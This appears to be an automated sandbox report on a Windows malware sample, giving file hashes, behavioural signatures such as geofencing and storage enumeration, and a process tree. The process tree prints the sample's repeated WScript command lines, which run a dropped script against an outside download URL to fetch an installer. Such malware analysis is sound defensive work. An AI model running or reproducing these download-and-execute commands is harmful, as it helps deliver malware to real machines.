Analysis

  • max time kernel
    148s
  • max time network
    187s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-11-2022 11:47

General

  • Target

    ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe

  • Size

    184KB

  • MD5

    7bbc4326d3ec7c5408b3617c728b8b25

  • SHA1

    5676580aaf32285cfdd15757e5428ff4265182c3

  • SHA256

    ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898

  • SHA512

    04203ee0988ce41b57ddd0dc8b8560871e44a8506def017659d0290476fc3b4407c0ebb8e7d4d044c8559f4241c409d07f2eecc4a2e1d1e0b70737ec23ec43bb

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3U:/7BSH8zUB+nGESaaRvoB7FJNndnF

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 12 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe
    "C:\Users\Admin\AppData\Local\Temp\ab3b8a92c15b3f6098e1e03f759c67db9e24d11ef4e2acefdb56fcff570ad898.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
      2⤵
      • Blocklisted process makes network request
      PID:3700
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
      2⤵
      • Blocklisted process makes network request
      PID:2364
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
      2⤵
      • Blocklisted process makes network request
      PID:3832
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
      2⤵
      • Blocklisted process makes network request
      PID:3484
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufFE98.js" http://www.djapp.info/?domain=PPOGzYKfvl.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fufFE98.exe
      2⤵
      • Blocklisted process makes network request
      PID:2828
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4868 -s 1328
      2⤵
      • Program crash
      PID:1840
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4868 -ip 4868
    1⤵
      PID:3528

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\fufFE98.js

      Filesize

      3KB

      MD5

      3813cab188d1de6f92f8b82c2059991b

      SHA1

      4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

      SHA256

      a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

      SHA512

      83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

    • memory/2364-134-0x0000000000000000-mapping.dmp

    • memory/2828-137-0x0000000000000000-mapping.dmp

    • memory/3484-136-0x0000000000000000-mapping.dmp

    • memory/3700-132-0x0000000000000000-mapping.dmp

    • memory/3832-135-0x0000000000000000-mapping.dmp